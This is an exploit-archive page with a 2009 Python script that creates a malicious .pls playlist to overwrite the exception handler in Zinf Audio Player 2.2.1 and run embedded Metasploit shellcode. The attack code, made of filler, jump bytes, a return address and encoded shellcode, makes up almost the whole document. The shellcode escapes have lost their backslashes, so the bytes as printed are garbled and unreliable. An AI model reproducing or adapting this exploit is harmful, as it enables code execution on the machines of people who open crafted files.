[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Zinf Audio Player 2.2.1 (.pls) Universal Seh Overwrite Exploit
# Published : 2009-03-23
# Author : His0k4
# Previous Title : Mac OS X xnu <= 1228.x (hfs-fcntl) Local Kernel Root Exploit
# Next Title : eXeScope 6.50 Local Buffer Overflow Exploit


#usage: exploit.py
print "**************************************************************************"
print " Zinf Audio Player 2.2.1 (.pls) Universal Seh Overwrite Exploitn"
print " Founder: Hakxer"
print " Exploited by : His0k4"
print " Tested on: Windows XP Pro SP2 Frn"
print " Greetings to:"
print " All friends & muslims HaCkers(dz), www.secdz.comn"
print "**************************************************************************"
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com 
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x30x42x50x42x30x4bx58x45x34x4ex53x4bx48x4ex57"
"x45x30x4ax37x41x50x4fx4ex4bx48x4fx34x4ax51x4bx48"
"x4fx35x42x52x41x30x4bx4ex49x34x4bx58x46x33x4bx58"
"x41x30x50x4ex41x53x42x4cx49x59x4ex4ax46x48x42x4c"
"x46x47x47x50x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e"
"x46x4fx4bx43x46x35x46x42x46x30x45x47x45x4ex4bx48"
"x4fx35x46x42x41x50x4bx4ex48x46x4bx38x4ex30x4bx34"
"x4bx58x4fx45x4ex51x41x30x4bx4ex4bx58x4ex31x4bx58"
"x41x30x4bx4ex49x48x4ex45x46x52x46x50x43x4cx41x33"
"x42x4cx46x56x4bx58x42x34x42x53x45x38x42x4cx4ax47"
"x4ex30x4bx38x42x34x4ex30x4bx48x42x47x4ex51x4dx4a"
"x4bx48x4ax46x4ax50x4bx4ex49x50x4bx58x42x38x42x4b"
"x42x30x42x50x42x50x4bx58x4ax56x4ex33x4fx55x41x33"
"x48x4fx42x46x48x35x49x58x4ax4fx43x58x42x4cx4bx37"
"x42x55x4ax36x42x4fx4cx48x46x30x4fx45x4ax36x4ax39"
"x50x4fx4cx48x50x50x47x45x4fx4fx47x4ex43x36x41x46"
"x4ex36x43x56x42x30x5a")

exploit =   "x41"*1424
exploit +=  "xEBx06x90x90"
exploit +=  "x0Cx04x05x12" # zinf.ui
exploit +=  shellcode

try:
    out_file = open("exploit.pls",'w')
    out_file.write(exploit)
    out_file.close()
    print("nExploit file created!n")
except:
    print "Error"

# www.Syue.com [2009-03-23]